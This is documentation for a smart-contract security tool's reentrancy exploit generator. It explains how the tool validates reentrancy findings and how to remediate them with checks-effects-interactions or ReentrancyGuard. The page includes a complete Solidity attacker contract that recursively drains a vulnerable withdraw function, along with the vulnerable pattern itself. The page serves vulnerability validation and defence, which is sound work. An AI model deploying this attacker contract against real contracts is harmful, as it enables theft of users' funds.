Reentrancy Exploit Generator
Sigvex exploit generator that validates reentrancy vulnerabilities by simulating recursive drain attacks against withdraw-pattern functions.
Reentrancy Exploit Generator
Overview
The reentrancy exploit generator validates findings from the reentrancy detector by executing the target contract’s bytecode twice under controlled conditions: once with the balance storage slot pre-cleared (simulating the checks-effects-interactions pattern) and once left intact (simulating the vulnerable pattern). The difference in execution outcomes determines exploitability.
Note: Exploit generation in Sigvex is for vulnerability validation purposes only.
Attack Scenario
- Setup: The attacker deploys a
ReentrancyAttackercontract and deposits ETH into the victim contract to establish a balance in the victim’s internal accounting (storage slot 1). - Trigger: The attacker calls
attack(amount)on the attacker contract, which calls the victim’swithdraw(uint256)function (selector0x2e1a7d4d, or extracted from the finding location). - Exploitation: The victim contract calls
msg.sender.call{value: amount}("")to transfer ETH, triggering the attacker’sfallback()orreceive()function. Because the victim has not yet decremented the balance in storage, the attacker immediately re-callswithdraw(attackAmount). This loop continues until the victim’s ETH balance is exhausted or the attacker’s gas runs out. - Impact: The attacker drains the entire ETH balance held by the victim. Each re-entrant call withdraws the same
amountbecause the victim’s bookkeeping storage slot was never updated during the attack.
Exploit Mechanics
Sigvex constructs the exploit validation as follows:
- Calldata construction: The generator extracts the 4-byte selector from
finding.locations[0].bytecode_offset. If no location is available, it falls back to thewithdraw(uint256)selector0x2e1a7d4d. - Parameter encoding: A
U256withdrawal amount of1_000_000is ABI-encoded and appended to the calldata. - World state setup: The victim contract receives a balance of
10_000_000units. Storage slot 1 is set to1_000_000(the attacker’s deposited amount), representing the pre-attack state. - Vulnerability check: After execution completes, Sigvex reads storage slot 1. If it still equals
1_000_000, the balance was not updated before the external call — the reentrancy window is open. If it is zero, checks-effects-interactions was followed. - Confidence scoring: A confirmed-vulnerable result carries confidence
0.80; a partial-update result (non-zero but changed) carries0.50.
The generated PoC is a complete Solidity contract:
pragma solidity ^0.8.0;
interface IVictim {
function withdraw(uint256 amount) external;
}
contract ReentrancyAttacker {
IVictim public victim;
uint256 public attackAmount;
constructor(address _victim) {
victim = IVictim(_victim);
}
function attack(uint256 amount) external payable {
attackAmount = amount;
victim.withdraw(amount);
}
fallback() external payable {
if (address(victim).balance >= attackAmount) {
victim.withdraw(attackAmount);
}
}
receive() external payable {
if (address(victim).balance >= attackAmount) {
victim.withdraw(attackAmount);
}
}
}
The generated contract exploits the following canonical vulnerable pattern:
// VULNERABLE: External call before state update
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount);
(bool success,) = msg.sender.call{value: amount}(""); // callback here
balances[msg.sender] -= amount; // never reached during attack
}
Remediation
- Detector: Reentrancy Detector
- Remediation Guide: Reentrancy Remediation
Apply the checks-effects-interactions pattern or use OpenZeppelin’s ReentrancyGuard:
// SECURE: State updated before external call
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount; // effect first
(bool success,) = msg.sender.call{value: amount}("");
require(success);
}
References
- SWC-107: Reentrancy
- Consensys: Reentrancy Attack
- The DAO Hack (2016): 3.6M ETH lost to reentrancy — the founding incident that triggered Ethereum’s hard fork